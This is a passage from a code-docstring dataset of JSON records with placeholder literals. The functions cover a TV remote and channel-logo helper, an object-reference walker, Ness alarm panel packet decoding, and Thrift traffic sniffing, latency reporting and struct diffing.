key\n    :raises:\n    :AttributeError: if a parameter has a bad value\n    :TypeError: if a parameter has a bad value\n    :ValueError: if a parameter has a bad value", "id": "f11977:m6"}
{"signature": "def get_channel_image(self, channel, img_size=<NUM_LIT>, skip_cache=False):", "body": "from bs4 import BeautifulSoup<EOL>from wikipedia.exceptions import PageError<EOL>import re<EOL>import wikipedia<EOL>wikipedia.set_lang('<STR_LIT>')<EOL>if not channel:<EOL><INDENT>_LOGGER.error('<STR_LIT>')<EOL>return<EOL><DEDENT>if channel in self._cache_channel_img and not skip_cache:<EOL><INDENT>img = self._cache_channel_img[channel]<EOL>_LOGGER.debug('<STR_LIT>', channel, img)<EOL>return img<EOL><DEDENT>channel_info = self.get_channel_info(channel)<EOL>query = channel_info['<STR_LIT>']<EOL>if not query:<EOL><INDENT>_LOGGER.debug('<STR_LIT>', channel)<EOL>return<EOL><DEDENT>_LOGGER.debug('<STR_LIT>', query)<EOL>if '<STR_LIT>' in channel_info:<EOL><INDENT>if img_size > channel_info['<STR_LIT>']:<EOL><INDENT>_LOGGER.info(<EOL>'<STR_LIT>'<EOL>'<STR_LIT>', channel_info['<STR_LIT>']<EOL>)<EOL>img_size = channel_info['<STR_LIT>']<EOL><DEDENT><DEDENT>try:<EOL><INDENT>page = wikipedia.page(query)<EOL>_LOGGER.debug('<STR_LIT>', page.title)<EOL>soup = BeautifulSoup(page.html(), '<STR_LIT>')<EOL>images = soup.find_all('<STR_LIT>')<EOL>img_src = None<EOL>for i in images:<EOL><INDENT>if i['<STR_LIT>'].startswith('<STR_LIT>'):<EOL><INDENT>img_src = re.sub(r'<STR_LIT>', '<STR_LIT>'.format(img_size),<EOL>i['<STR_LIT:src>'])<EOL><DEDENT><DEDENT>img = '<STR_LIT>'.format(img_src) if img_src else None<EOL>self._cache_channel_img[channel] = img<EOL>return img<EOL><DEDENT>except PageError:<EOL><INDENT>_LOGGER.error('<STR_LIT>', channel)<EOL><DEDENT>", "docstring": "Get the logo for a channel", "id": "f11988:c0:m31"}
{"signature": "def press_key(self, key, mode=<NUM_LIT:0>):", "body": "if isinstance(key, str):<EOL><INDENT>assert key in KEYS, '<STR_LIT>'.format(key)<EOL>key = KEYS[key]<EOL><DEDENT>_LOGGER.info('<STR_LIT>', self.__get_key_name(key))<EOL>return self.rq('<STR_LIT>', OrderedDict([('<STR_LIT:key>', key), ('<STR_LIT>', mode)]))<EOL>", "docstring": "modes:\n    0 -> simple press\n    1 -> long press\n    2 -> release after long press", "id": "f11988:c0:m41"}
{"signature": "def get_repr(self, obj, referent=None):", "body": "objtype = type(obj)<EOL>typename = str(objtype.__module__) + \"<STR_LIT:.>\" + objtype.__name__<EOL>prettytype = typename.replace(\"<STR_LIT>\", \"<STR_LIT>\")<EOL>name = getattr(obj, \"<STR_LIT>\", \"<STR_LIT>\")<EOL>if name:<EOL><INDENT>prettytype = \"<STR_LIT>\" % (prettytype, name)<EOL><DEDENT>key = \"<STR_LIT>\"<EOL>if referent:<EOL><INDENT>key = self.get_refkey(obj, referent)<EOL><DEDENT>url = reverse('<STR_LIT>', args=(<EOL>typename,<EOL>id(obj)<EOL>))<EOL>return ('<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'<EOL>% (url, id(obj), prettytype, key, get_repr(obj, <NUM_LIT:100>))<EOL>)<EOL>", "docstring": "Return an HTML tree block describing the given object.", "id": "f11991:c0:m1"}
{"signature": "def get_refkey(self, obj, referent):", "body": "if isinstance(obj, dict):<EOL><INDENT>for k, v in obj.items():<EOL><INDENT>if v is referent:<EOL><INDENT>return \"<STR_LIT>\" % k<EOL><DEDENT><DEDENT><DEDENT>for k in dir(obj) + ['<STR_LIT>']:<EOL><INDENT>if getattr(obj, k, None) is referent:<EOL><INDENT>return \"<STR_LIT>\" % k<EOL><DEDENT><DEDENT>return \"<STR_LIT>\"<EOL>", "docstring": "Return the dict key or attribute name of obj which refers to\n        referent.", "id": "f11991:c0:m2"}
{"signature": "def walk(self, maxresults=<NUM_LIT:100>, maxdepth=None):", "body": "log.debug(\"<STR_LIT>\")<EOL>self.seen = {}<EOL>self.ignore(self, self.__dict__, self.obj, self.seen, self._ignore)<EOL>self.ignore_caller()<EOL>self.maxdepth = maxdepth<EOL>count = <NUM_LIT:0><EOL>log.debug(\"<STR_LIT>\")<EOL>for result in self._gen(self.obj):<EOL><INDENT>log.debug(\"<STR_LIT>\")<EOL>yield result<EOL>count += <NUM_LIT:1><EOL>if maxresults and count >= maxresults:<EOL><INDENT>yield <NUM_LIT:0>, <NUM_LIT:0>, \"<STR_LIT>\"<EOL>return<EOL><DEDENT><DEDENT>", "docstring": "Walk the object tree, ignoring duplicates and circular refs.", "id": "f11993:c0:m3"}
{"signature": "def print_tree(self, maxresults=<NUM_LIT:100>, maxdepth=None):", "body": "self.ignore_caller()<EOL>for depth, refid, rep in self.walk(maxresults, maxdepth):<EOL><INDENT>print((\"<STR_LIT>\" % refid), (\"<STR_LIT:U+0020>\" * depth * <NUM_LIT:2>), rep)<EOL><DEDENT>", "docstring": "Walk the object tree, pretty-printing each branch.", "id": "f11993:c0:m4"}
{"signature": "def walk(self, maxresults=<NUM_LIT:100>, maxdepth=None):", "body": "self.stops = <NUM_LIT:0><EOL>self.seen = {}<EOL>self.ignore(self, self.__dict__, self.seen, self._ignore)<EOL>self.ignore_caller()<EOL>self.maxdepth = maxdepth<EOL>count = <NUM_LIT:0><EOL>for result in self._gen(self.obj):<EOL><INDENT>yield result<EOL>count += <NUM_LIT:1><EOL>if maxresults and count >= maxresults:<EOL><INDENT>yield <NUM_LIT:0>, <NUM_LIT:0>, \"<STR_LIT>\"<EOL>return<EOL><DEDENT><DEDENT>", "docstring": "Walk the object tree, showing circular referents.", "id": "f11993:c3:m0"}
{"signature": "def print_tree(self, maxresults=<NUM_LIT:100>, maxdepth=None):", "body": "self.ignore_caller()<EOL>for trail in self.walk(maxresults, maxdepth):<EOL><INDENT>print(trail)<EOL><DEDENT>if self.stops:<EOL><INDENT>print(\"<STR_LIT>\" % self.stops)<EOL><DEDENT>", "docstring": "Walk the object tree, pretty-printing each branch.", "id": "f11993:c3:m2"}
{"signature": "def has_address(start: int, data_length: int) -> bool:", "body": "return bool(<NUM_LIT> & start) or (start == <NUM_LIT> and data_length == <NUM_LIT:16>)<EOL>", "docstring": "Determine whether the packet has an \"address\" encoded into it.\nThere exists an undocumented bug/edge case in the spec - some packets\nwith 0x82 as _start_, still encode the address into the packet, and thus\nthrows off decoding. This edge case is handled explicitly.", "id": "f12003:m0"}
{"signature": "def decode_timestamp(data: str) -> datetime.datetime:", "body": "year = <NUM_LIT> + int(data[<NUM_LIT:0>:<NUM_LIT:2>])<EOL>month = int(data[<NUM_LIT:2>:<NUM_LIT:4>])<EOL>day = int(data[<NUM_LIT:4>:<NUM_LIT:6>])<EOL>hour = int(data[<NUM_LIT:6>:<NUM_LIT:8>])<EOL>minute = int(data[<NUM_LIT:8>:<NUM_LIT:10>])<EOL>second = int(data[<NUM_LIT:10>:<NUM_LIT:12>])<EOL>if minute == <NUM_LIT>:<EOL><INDENT>minute = <NUM_LIT:0><EOL>hour += <NUM_LIT:1><EOL><DEDENT>return datetime.datetime(year=year, month=month, day=day, hour=hour,<EOL>minute=minute, second=second)<EOL>", "docstring": "Decode timestamp using bespoke decoder.\nCannot use simple strptime since the ness panel contains a bug\nthat P199E zone and state updates emitted on the hour cause a minute\nvalue of `60` to be sent, causing strptime to fail. This decoder handles\nthis edge case.", "id": "f12003:m4"}
{"signature": "@classmethod<EOL><INDENT>def decode(cls, _data: str) -> '<STR_LIT>':<DEDENT>", "body": "<EOL>data = DataIterator(_data)<EOL>_LOGGER.debug(\"<STR_LIT>\", _data)<EOL>start = data.take_hex()<EOL>address = None<EOL>if has_address(start, len(_data)):<EOL><INDENT>address = data.take_hex(half=is_user_interface_req(start))<EOL><DEDENT>length = data.take_hex()<EOL>data_length = length & <NUM_LIT><EOL>seq = length >> <NUM_LIT:7><EOL>command = CommandType(data.take_hex())<EOL>msg_data = data.take_bytes(data_length,<EOL>half=is_user_interface_req(start))<EOL>timestamp = None<EOL>if has_timestamp(start):<EOL><INDENT>timestamp = decode_timestamp(data.take_bytes(<NUM_LIT:6>))<EOL><DEDENT>checksum = data.take_hex()  <EOL>if not data.is_consumed():<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT>return Packet(<EOL>is_user_interface_resp=(is_user_interface_resp(start) and<EOL>command == CommandType.USER_INTERFACE),<EOL>address=address,<EOL>seq=seq,<EOL>command=command,<EOL>data=msg_data,<EOL>timestamp=timestamp,<EOL>)<EOL>", "docstring": "Packets are ASCII encoded data. Packet layout is as follows:\n\n+---------------------------------------------------------------------------+\n| start | address | length | command | data | timestamp | checksum | finish |\n| hex   | hex     | hex    | hex     | str  | dec       | hex      | crlf   |\n| 1     | 1       | 1      | 1       | n    | 6         | 1        |        |\n+---------------------------------------------------------------------------+\n\nTimestamp:\n    Timestamps are formatted in the following format, where each field is\n    decimal encoded:\n\n    YY MM DD HH MM SS\n\nChecksum:\n    Calculated by...?\n\nSince data is ASCII encoded, each byte uses 2 ASCII character to be\nrepresented. However, we cannot simply do a hex decode on the entire\nmessage, since the timestamp and data fields are represented using a\nnon-hex representation and therefore must be manually decoded.", "id": "f12003:c1:m5"}
{"signature": "async def update(self) -> None:", "body": "_LOGGER.debug(\"<STR_LIT>\")<EOL>await asyncio.gather(<EOL>self.send_command('<STR_LIT>'),<EOL>self.send_command('<STR_LIT>'),<EOL>)<EOL>", "docstring": "Force update of alarm status and zones", "id": "f12005:c0:m6"}
{"signature": "async def _update_loop(self) -> None:", "body": "await asyncio.sleep(self._update_interval)<EOL>while not self._closed:<EOL><INDENT>await self.update()<EOL>await asyncio.sleep(self._update_interval)<EOL><DEDENT>", "docstring": "Schedule a state update to keep the connection alive", "id": "f12005:c0:m11"}
{"signature": "def _handle_system_status_event(self, event: SystemStatusEvent) -> None:", "body": "if event.type == SystemStatusEvent.EventType.UNSEALED:<EOL><INDENT>return self._update_zone(event.zone, True)<EOL><DEDENT>elif event.type == SystemStatusEvent.EventType.SEALED:<EOL><INDENT>return self._update_zone(event.zone, False)<EOL><DEDENT>elif event.type == SystemStatusEvent.EventType.ALARM:<EOL><INDENT>return self._update_arming_state(ArmingState.TRIGGERED)<EOL><DEDENT>elif event.type == SystemStatusEvent.EventType.ALARM_RESTORE:<EOL><INDENT>if self.arming_state != ArmingState.DISARMED:<EOL><INDENT>return self._update_arming_state(ArmingState.ARMED)<EOL><DEDENT><DEDENT>elif event.type == SystemStatusEvent.EventType.ENTRY_DELAY_START:<EOL><INDENT>return self._update_arming_state(ArmingState.ENTRY_DELAY)<EOL><DEDENT>elif event.type == SystemStatusEvent.EventType.ENTRY_DELAY_END:<EOL><INDENT>pass<EOL><DEDENT>elif event.type == SystemStatusEvent.EventType.EXIT_DELAY_START:<EOL><INDENT>return self._update_arming_state(ArmingState.EXIT_DELAY)<EOL><DEDENT>elif event.type == SystemStatusEvent.EventType.EXIT_DELAY_END:<EOL><INDENT>if self.arming_state == ArmingState.EXIT_DELAY:<EOL><INDENT>return self._update_arming_state(ArmingState.ARMED)<EOL><DEDENT><DEDENT>elif event.type in Alarm.ARM_EVENTS:<EOL><INDENT>return self._update_arming_state(ArmingState.ARMING)<EOL><DEDENT>elif event.type == SystemStatusEvent.EventType.DISARMED:<EOL><INDENT>return self._update_arming_state(ArmingState.DISARMED)<EOL><DEDENT>elif event.type == SystemStatusEvent.EventType.ARMING_DELAYED:<EOL><INDENT>pass<EOL><DEDENT>", "docstring": "DISARMED -> ARMED_AWAY -> EXIT_DELAY_START -> EXIT_DELAY_END\n (trip): -> ALARM -> OUTPUT_ON -> ALARM_RESTORE\n    (disarm): -> DISARMED -> OUTPUT_OFF\n (disarm): -> DISARMED\n (disarm before EXIT_DELAY_END): -> DISARMED -> EXIT_DELAY_END\n\nTODO(NW): Check ALARM_RESTORE state transition to move back into ARMED_AWAY state", "id": "f12006:c1:m4"}
{"signature": "@cli.command()<EOL>def version():", "body": "print(get_version())<EOL>", "docstring": "Print installed package version.", "id": "f12009:m1"}
{"signature": "def listening_ports():", "body": "ports = []<EOL>if not os.path.exists(PROC_TCP):<EOL><INDENT>return ports<EOL><DEDENT>with open(PROC_TCP) as fh:<EOL><INDENT>for line in fh:<EOL><INDENT>if '<STR_LIT>' not in line:<EOL><INDENT>continue<EOL><DEDENT>parts = line.lstrip('<STR_LIT:U+0020>').split('<STR_LIT:U+0020>')<EOL>if parts[<NUM_LIT:2>] != '<STR_LIT>':<EOL><INDENT>continue<EOL><DEDENT>local_port = parts[<NUM_LIT:1>].split('<STR_LIT::>')[<NUM_LIT:1>]<EOL>local_port = int('<STR_LIT>' + local_port, base=<NUM_LIT:16>)<EOL>ports.append(local_port)<EOL><DEDENT><DEDENT>return ports<EOL>", "docstring": "Reads listening ports from /proc/net/tcp", "id": "f12018:m0"}
{"signature": "def __iter__(self):", "body": "idx = self._padding<EOL>while idx < len(self._data):<EOL><INDENT>tobject, hole = self._read_next(idx, len(self._data))<EOL>if tobject is None:<EOL><INDENT>return<EOL><DEDENT>if hole:<EOL><INDENT>idx += hole[<NUM_LIT:1>]  <EOL><DEDENT>idx += tobject.bytes_length + self._padding<EOL>yield tobject, hole<EOL><DEDENT>", "docstring": "An iterator that yields a tuple of (thrift object, hole), where\nhole is a tuple of (start, skipped) bytes.", "id": "f12019:c0:m2"}
{"signature": "def get_ip_packet(data, client_port, server_port, is_loopback=False):", "body": "header = _loopback if is_loopback else _ethernet<EOL>try:<EOL><INDENT>header.unpack(data)<EOL><DEDENT>except Exception as ex:<EOL><INDENT>raise ValueError('<STR_LIT>' % ex)<EOL><DEDENT>tcp_p = getattr(header.data, '<STR_LIT:data>', None)<EOL>if type(tcp_p) != dpkt.tcp.TCP:<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT>if tcp_p.dport == server_port:<EOL><INDENT>if client_port != <NUM_LIT:0> and tcp_p.sport != client_port:<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT><DEDENT>elif tcp_p.sport == server_port:<EOL><INDENT>if client_port != <NUM_LIT:0> and tcp_p.dport != client_port:<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT><DEDENT>else:<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT>return header.data<EOL>", "docstring": "if client_port is 0 any client_port is good", "id": "f12020:m0"}
{"signature": "def _assertMessages(self, output):", "body": "self.assertIn(<EOL>'<STR_LIT>',<EOL>output.getvalue())<EOL>self.assertIn(<EOL>'<STR_LIT>',<EOL>output.getvalue())<EOL>self.assertIn(<EOL>'<STR_LIT>',<EOL>output.getvalue())<EOL>self.assertIn(<EOL>'<STR_LIT>',<EOL>output.getvalue())<EOL>self.assertIn(<EOL>'<STR_LIT>',<EOL>output.getvalue())<EOL>self.assertIn(<EOL>'<STR_LIT>',<EOL>output.getvalue())<EOL>self.assertIn(<EOL>'<STR_LIT>',<EOL>output.getvalue())<EOL>self.assertIn(<EOL>'<STR_LIT>',<EOL>output.getvalue())<EOL>self.assertIn(<EOL>'<STR_LIT>',<EOL>output.getvalue())<EOL>self.assertIn(<EOL>'<STR_LIT>',<EOL>output.getvalue())<EOL>", "docstring": "this is a bit fragile...", "id": "f12025:c0:m5"}
{"signature": "def __len__(self):", "body": "return self._length<EOL>", "docstring": "in bytes", "id": "f12030:c0:m1"}
{"signature": "@property<EOL><INDENT>def bytes_length(self):<DEDENT>", "body": "return len(self)<EOL>", "docstring": "for ThriftStruct, __len__ means something different so lets\n        add this other property to unify the way to refer to bytes", "id": "f12030:c0:m2"}
{"signature": "@classmethod<EOL><INDENT>def read(cls, data,<EOL>protocol=None,<EOL>fallback_protocol=TBinaryProtocol,<EOL>finagle_thrift=False,<EOL>max_fields=MAX_FIELDS,<EOL>max_list_size=MAX_LIST_SIZE,<EOL>max_map_size=MAX_MAP_SIZE,<EOL>max_set_size=MAX_SET_SIZE,<EOL>read_values=False):<DEDENT>", "body": "<EOL>if len(data) < cls.MIN_MESSAGE_SIZE:<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT>if protocol is None:<EOL><INDENT>protocol = cls.detect_protocol(data, fallback_protocol)<EOL><DEDENT>trans = TTransport.TMemoryBuffer(data)<EOL>proto = protocol(trans)<EOL>header = None<EOL>if finagle_thrift:<EOL><INDENT>try:<EOL><INDENT>header = ThriftStruct.read(<EOL>proto,<EOL>max_fields,<EOL>max_list_size,<EOL>max_map_size,<EOL>max_set_size,<EOL>read_values)<EOL><DEDENT>except:<EOL><INDENT>trans = TTransport.TMemoryBuffer(data)<EOL>proto = protocol(trans)<EOL><DEDENT><DEDENT>method, mtype, seqid = proto.readMessageBegin()<EOL>mtype = cls.message_type_to_str(mtype)<EOL>if len(method) == <NUM_LIT:0> or method.isspace() or method.startswith('<STR_LIT:U+0020>'):<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT>if len(method) > cls.MAX_METHOD_LENGTH:<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT>valid = range(<NUM_LIT>, <NUM_LIT>)<EOL>if any(ord(char) not in valid for char in method):<EOL><INDENT>raise ValueError('<STR_LIT>' % method)<EOL><DEDENT>args = ThriftStruct.read(<EOL>proto,<EOL>max_fields,<EOL>max_list_size,<EOL>max_map_size,<EOL>max_set_size,<EOL>read_values)<EOL>proto.readMessageEnd()<EOL>msglen = trans._buffer.tell()<EOL>return cls(method, mtype, seqid, args, header, msglen), msglen<EOL>", "docstring": "tries to deserialize a message, might fail if data is missing", "id": "f12030:c0:m10"}
{"signature": "@classmethod<EOL><INDENT>def detect_protocol(cls, data, default=None):<DEDENT>", "body": "if cls.is_compact_protocol(data):<EOL><INDENT>return TCompactProtocol<EOL><DEDENT>elif cls.is_binary_protocol(data):<EOL><INDENT>return TBinaryProtocol<EOL><DEDENT>elif cls.is_json_protocol(data):<EOL><INDENT>return TJSONProtocol<EOL><DEDENT>if default is None:<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT>return default<EOL>", "docstring": "TODO: support fbthrift, finagle-thrift, finagle-mux, CORBA", "id": "f12030:c0:m11"}
{"signature": "@property<EOL><INDENT>def length(self):<DEDENT>", "body": "return self._length<EOL>", "docstring": "how many bytes have been through the stream", "id": "f12034:c0:m2"}
{"signature": "def pop(self, nbytes):", "body": "size = <NUM_LIT:0><EOL>popped = []<EOL>with self._lock_packets:<EOL><INDENT>while size < nbytes:<EOL><INDENT>try:<EOL><INDENT>packet = self._packets.pop(<NUM_LIT:0>)<EOL>size += len(packet.data.data)<EOL>self._remaining -= len(packet.data.data)<EOL>popped.append(packet)<EOL><DEDENT>except IndexError:<EOL><INDENT>break<EOL><DEDENT><DEDENT><DEDENT>return popped<EOL>", "docstring": "pops packets with _at least_ nbytes of payload", "id": "f12034:c0:m6"}
{"signature": "def pop_data(self, nbytes):", "body": "last_timestamp = <NUM_LIT:0><EOL>data = []<EOL>for packet in self.pop(nbytes):<EOL><INDENT>last_timestamp = packet.timestamp<EOL>data.append(packet.data.data)<EOL><DEDENT>return '<STR_LIT>'.join(data), last_timestamp<EOL>", "docstring": "similar to pop, but returns payload + last timestamp", "id": "f12034:c0:m7"}
{"signature": "def push(self, ip_packet):", "body": "data_len = len(ip_packet.data.data)<EOL>seq_id = ip_packet.data.seq<EOL>if data_len == <NUM_LIT:0>:<EOL><INDENT>self._next_seq_id = seq_id<EOL>return False<EOL><DEDENT>if self._next_seq_id != -<NUM_LIT:1> and seq_id != self._next_seq_id:<EOL><INDENT>return False<EOL><DEDENT>self._next_seq_id = seq_id + data_len<EOL>with self._lock_packets:<EOL><INDENT>self._length += len(ip_packet.data.data)<EOL>self._remaining += len(ip_packet.data.data)<EOL>self._packets.append(ip_packet)<EOL><DEDENT>return True<EOL>", "docstring": "push the packet into the queue", "id": "f12034:c0:m8"}
{"signature": "def run(self, *args, **kwargs):", "body": "while True:<EOL><INDENT>try:<EOL><INDENT>timestamp, ip_p = self._queue.popleft()<EOL>src_ip = get_ip(ip_p, ip_p.src)<EOL>dst_ip = get_ip(ip_p, ip_p.dst)<EOL>src = intern('<STR_LIT>' % (src_ip, ip_p.data.sport))<EOL>dst = intern('<STR_LIT>' % (dst_ip, ip_p.data.dport))<EOL>key = intern('<STR_LIT>' % (src, dst))<EOL>stream = self._streams.get(key)<EOL>if stream is None:<EOL><INDENT>stream = Stream(src, dst)<EOL>self._streams[key] = stream<EOL><DEDENT>setattr(ip_p, '<STR_LIT>', timestamp)<EOL>pushed = stream.push(ip_p)<EOL>if not pushed:<EOL><INDENT>continue<EOL><DEDENT>for handler in self._handlers:<EOL><INDENT>try:<EOL><INDENT>handler(stream)<EOL><DEDENT>except Exception as ex:<EOL><INDENT>print('<STR_LIT>' % ex)<EOL><DEDENT><DEDENT><DEDENT>except Exception:<EOL><INDENT>time.sleep(<NUM_LIT>)<EOL><DEDENT><DEDENT>", "docstring": "Deal with the incoming packets", "id": "f12034:c1:m3"}
{"signature": "def __init__(self, iface, port, stream_handler=None, offline=None, ip=None):", "body": "super(Sniffer, self).__init__()<EOL>self.setDaemon(True)<EOL>self._iface = iface<EOL>self._port = port<EOL>self._offline = offline<EOL>self._ip = ip if ip else []<EOL>self._queue = deque()  <EOL>self._dispatcher = Dispatcher(self._queue)<EOL>self._dispatcher.add_handler(stream_handler)<EOL>self._wants_stop = False<EOL>self.start()<EOL>", "docstring": "A Sniffer that merges packets into a stream\n\n        Params:\n            ``iface``           The interface in which to listen\n            ``port``            The TCP port that we care about\n            ``stream_handler``  The callback for each stream\n            ``offline``         Path to a pcap file\n            ``ip``              A list of IPs that we care about", "id": "f12034:c2:m0"}
{"signature": "def __call__(self, timestamp, src, dst, msg):", "body": "if msg.type == '<STR_LIT>':<EOL><INDENT>replies = self._replies[dst][src][msg.method]<EOL>if len(replies) > <NUM_LIT:0>:<EOL><INDENT>reply_timestamp, reply = replies.popleft()<EOL>self._print_pair(<EOL>timestamp, msg, reply_timestamp, reply, src, dst)<EOL><DEDENT>else:<EOL><INDENT>self._requests[src][dst][msg.method].append(<EOL>(timestamp, msg))<EOL><DEDENT><DEDENT>elif msg.type == '<STR_LIT>':<EOL><INDENT>requests = self._requests[dst][src][msg.method]<EOL>if len(requests) > <NUM_LIT:0>:<EOL><INDENT>request_timestamp, request = requests.popleft()<EOL>self._print_pair(<EOL>request_timestamp, request, timestamp, msg,<EOL>dst, src)<EOL><DEDENT>else:<EOL><INDENT>self._replies[src][dst][msg.method].append(<EOL>(timestamp, msg))<EOL><DEDENT><DEDENT>else:<EOL><INDENT>print_msg(timestamp, src, dst, msg, self._format_opts,<EOL>output=self._output)<EOL><DEDENT>return True<EOL>", "docstring": "We need to match up each (request, reply) pair. Presumably,\npcap _shouldn't_ deliver packets out of order, but\nthings could get mixed up somewhere withing the\nTCP stream being reassembled and the StreamHandler\nthread. So, we don't assume that a 'reply' implies\nthe corresponding 'call' has been seen.\n\nIt could also be that we started sniffing after\nthe 'call' message... but there's no easy way to tell\n(given we don't keep the startup time around...)", "id": "f12035:c1:m1"}
{"signature": "def __call__(self, timestamp, src, dst, msg):", "body": "if msg.type == '<STR_LIT>':<EOL><INDENT>self._requests[src][dst][msg.method][msg.seqid] = (timestamp, msg)<EOL><DEDENT>elif msg.type == '<STR_LIT>':<EOL><INDENT>calls = self._requests[dst][src][msg.method]<EOL>if msg.seqid in calls:<EOL><INDENT>request_timestamp, request = calls.pop(msg.seqid)<EOL>latency = timestamp - request_timestamp<EOL>self._latencies_by_method[msg.method].append(latency)<EOL>self._seen += <NUM_LIT:1><EOL>self._output.write('<STR_LIT>' % (<EOL>self._seen, self._expected))<EOL>self._output.flush()<EOL><DEDENT><DEDENT>if self._seen < self._expected:<EOL><INDENT>return True  <EOL><DEDENT>self.report()<EOL>unmatched = <NUM_LIT:0><EOL>for src, dst in self._requests.items():<EOL><INDENT>for method, calls in dst.items():<EOL><INDENT>unmatched += len(calls)<EOL><DEDENT><DEDENT>if unmatched > <NUM_LIT:0>:<EOL><INDENT>self._output.write('<STR_LIT>' % unmatched)<EOL><DEDENT>return False<EOL>", "docstring": "Slightly simplified logic wrt what PairedPrinter has:\nwe assume 'call' messages will be seen before their\ncorresponding 'reply'.", "id": "f12035:c2:m1"}
{"signature": "def report(self):", "body": "self._output.write('<STR_LIT:\\r>')<EOL>sort_by = '<STR_LIT>'<EOL>results = {}<EOL>for key, latencies in self._latencies_by_method.items():<EOL><INDENT>result = {}<EOL>result['<STR_LIT:count>'] = len(latencies)<EOL>result['<STR_LIT>'] = sum(latencies) / len(latencies)<EOL>result['<STR_LIT>'] = min(latencies)<EOL>result['<STR_LIT>'] = max(latencies)<EOL>latencies = sorted(latencies)<EOL>result['<STR_LIT>'] = percentile(latencies, <NUM_LIT>)<EOL>result['<STR_LIT>'] = percentile(latencies, <NUM_LIT>)<EOL>result['<STR_LIT>'] = percentile(latencies, <NUM_LIT>)<EOL>result['<STR_LIT>'] = percentile(latencies, <NUM_LIT>)<EOL>results[key] = result<EOL><DEDENT>headers = ['<STR_LIT>', '<STR_LIT:count>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>']<EOL>data = []<EOL>results = sorted(results.items(), key=lambda it: it[<NUM_LIT:1>][sort_by], reverse=True)<EOL>def row(key, res):<EOL><INDENT>data = [key] + [res[header] for header in headers[<NUM_LIT:1>:]]<EOL>return tuple(data)<EOL><DEDENT>data = [row(key, result) for key, result in results]<EOL>self._output.write('<STR_LIT>' % tabulate(data, headers=headers))<EOL>self._output.flush()<EOL>", "docstring": "get stats & show them", "id": "f12035:c2:m2"}
{"signature": "def is_isomorphic_to(self, other):", "body": "return (isinstance(other, self.__class__)<EOL>and<EOL>len(self.fields) == len(other.fields)<EOL>and<EOL>all(a.is_isomorphic_to(b) for a, b in zip(self.fields,<EOL>other.fields)))<EOL>", "docstring": "Returns true if all fields of other struct are isomorphic to this\nstruct's fields", "id": "f12036:c2:m4"}
{"signature": "def __eq__(self, other):", "body": "return isinstance(other, self.__class__) and self.fields == other.fields<EOL>", "docstring": "we ignore the length, it might not be set", "id": "f12036:c2:m5"}
{"signature": "def __len__(self):", "body": "return len(self._fields)<EOL>", "docstring": "number of fields, NOT number of bytes", "id": "f12036:c2:m6"}
{"signature": "def is_isomorphic_to(self, other):", "body": "return (isinstance(other, self.__class__)<EOL>and self.field_type == other.field_type<EOL>and self.field_id == other.field_id)<EOL>", "docstring": "Returns true if other field's meta data (everything except value)\nis same as this one", "id": "f12036:c3:m4"}
{"signature": "@classmethod<EOL><INDENT>def of_structs(cls, a, b):<DEDENT>", "body": "t_diff = ThriftDiff(a, b)<EOL>t_diff._do_diff()<EOL>return t_diff<EOL>", "docstring": "Diff two thrift structs and return the result as a ThriftDiff instance", "id": "f12038:c0:m1"}
{"signature": "@classmethod<EOL><INDENT>def of_messages(cls, msg_a, msg_b):<DEDENT>", "body": "ok_to_diff, reason = cls.can_diff(msg_a, msg_b)<EOL>if not ok_to_diff:<EOL><INDENT>raise ValueError(reason)<EOL><DEDENT>return [cls.of_structs(x.value, y.value)<EOL>for x, y in zip(msg_a.args, msg_b.args)<EOL>if x.field_type == '<STR_LIT>']<EOL>", "docstring": "Diff two thrift messages by comparing their args, raises exceptions if\nfor some reason the messages can't be diffed. Only args of type 'struct'\nare compared.\n\nReturns a list of ThriftDiff results - one for each struct arg", "id": "f12038:c0:m2"}
{"signature": "@staticmethod<EOL><INDENT>def can_diff(msg_a, msg_b):<DEDENT>", "body": "if msg_a.method != msg_b.method:<EOL><INDENT>return False, '<STR_LIT>'<EOL><DEDENT>if len(msg_a.args) != len(msg_b.args)or not msg_a.args.is_isomorphic_to(msg_b.args):<EOL><INDENT>return False, '<STR_LIT>'<EOL><DEDENT>return True, None<EOL>", "docstring": "Check if two thrift messages are diff ready.\n\nReturns a tuple of (boolean, reason_string), i.e. (False, reason_string)\nif the messages can not be diffed along with the reason and\n(True, None) for the opposite case", "id": "f12038:c0:m3"}
{"signature": "@property<EOL><INDENT>def common_fields(self):<DEDENT>", "body": "return self._common_fields<EOL>", "docstring": "List of isomorphically equivalent field pairs which may or may not have\nsame value", "id": "f12038:c0:m6"}
{"signature": "@property<EOL><INDENT>def fields_only_in_a(self):<DEDENT>", "body": "return self._fields_only_in_a<EOL>", "docstring": "List of fields exclusive to first struct", "id": "f12038:c0:m7"}
{"signature": "@property<EOL><INDENT>def fields_only_in_b(self):<DEDENT>", "body": "return self._fields_only_in_b<EOL>", "docstring": "List of fields exclusive to second struct", "id": "f12038:c0:m8"}
{"signature": "@property<EOL><INDENT>def fields_with_same_value(self):<DEDENT>", "body": "return self._fields_with_same_value<EOL>", "docstring": "List of isomorphically equivalent fields for which value is also equal\nNote: this doesn't return a list of 'pairs'", "id": "f12038:c0:m9"}
{"signature": "@property<EOL><INDENT>def field_with_different_value(self):<DEDENT>", "body": "return self._fields_with_different_value<EOL>", "docstring": "List of isomorphically equivalent field pairs for which value is NOT\nequal", "id": "f12038:c0:m10"}
